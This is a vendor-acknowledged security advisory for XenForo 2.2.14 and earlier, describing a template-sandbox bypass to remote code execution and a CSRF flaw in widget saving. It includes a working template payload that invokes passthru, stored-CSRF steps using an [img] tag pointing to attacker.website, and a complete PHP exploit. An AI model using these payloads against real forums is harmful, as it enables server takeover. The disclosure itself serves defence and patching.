Summary
A vulnerability in XenForo allows a user to trigger an RCE via incorrect parsing and handling of user provided templates, this combined with another CSRF vulnerability. might allow unauthenticated attackers to execute arbitrary code whenever an admin user with permissions to administer styles / widgets will visit a specially crafted page / link.
Credit
An independent security researcher, Egidio Romano (EgiX), working with SSD Secure Disclosure.
Vendor Response
The vendor has released an updated version and two advisories:
https://xenforo.com/community/threads/xenforo-2-1-15-patch-1-2-2-16-patch-2-and-xenforo-media-gallery-2-1-9-2-2-6-released-includes-security-fixes.222133/
https://xenforo.com/community/threads/xenforo-add-ons-2-3-0-release-candidate-2-released-unsupported-includes-security-fixes.222134/
CVE(s)
CVE-2024-38457 for the CSRF
CVE-2024-38458 for the RCE
Affected Versions
XenForo version 2.2.14 and prior
Technical Analysis
XenForo implements a template system which gives complete control over the layout of XenForo pages. Through these templates, it might be possible to call certain callbacks, however there is a sort of “sandbox” which allows to call read-only methods (https://xenforo.com/docs/dev/template-syntax/#callback-methods): a method is to be considered read-only when it begins with one of the allowed prefixes, such as “get” or “filter”.
A malicious user might still be able to bypass this “sandbox” by abusing the getRepository method from the XF\Mvc\Entity\Manager class in order to get an instance object of the XF\Util\Arr class, and from there they can abuse its filterRecursive method in order to execute arbitrary PHP functions (internally, this method calls the array_filter PHP function with a callback parameter).
As such, this can be exploited to e.g. execute arbitrary OS commands by using a payload like the following within a template:
{{ $xf.app.em.getRepository('XF\Util\Arr').filterRecursive(['id'],'passthru') }}
This payload will execute the passthru PHP function passing to it the string “id” as argument, resulting in the execution of the “id” command on the web server.
Successful exploitation of this vulnerability requires an account with permissions to administer styles or widgets.
The XF\Admin\Controller\Widget::actionSave() method does not check whether the current HTTP request is a POST or a GET before saving a widget. XenForo does perform anti-CSRF checks for POST requests only, as such this method can be abused in a CSRF attack to create/modify arbitrary widgets via GET requests, and this can also be exploited in tandem with the first vulnerability to carry out RCE attacks. Furthermore, XenForo implements a BB Code system, and this could be exploited to carry out “Stored CSRF” attacks by abusing the [img] tag.
Exploitation
- Edit your /etc/hosts file by adding the following line: 127.0.0.1 attacker.website
- Edit the exploit.php file by changing the $url variable according to your testing environment
- Place the exploit.php file on the webroot of your web server
- (4) Log into XenForo with the attacker account, and create a new thread like this:
[img]http://attacker.website/exploit.php[/img]
- Log into the XenForo admin panel with an user having permissions to administer styles or widgets
- (6) Browse to the previously created thread and notice how a new widget will be created (silently)
- From the attacker browser session reload the XenForo home page and notice the output of the
idcommand in the header (see the attached screenshot)
Please note steps (4) and (6) can also be changed to the following:
- Send a private a message containing the “Stored CSRF” payload to every admin user
- Open the private message and notice how a new widget will be created
Exploit
<?php
$url = "http://testing.website/xenforo/";
header("Location: {$url}admin.php?widgets/save&definition_id=html&widget_key=RCE&positions[pub_sidebar_top]=1&display_condition=true&options[template]={{\$xf.app.em.getRepository('XF\\Util\\Arr').filterRecursive(['id'],'passthru')}}");
?>
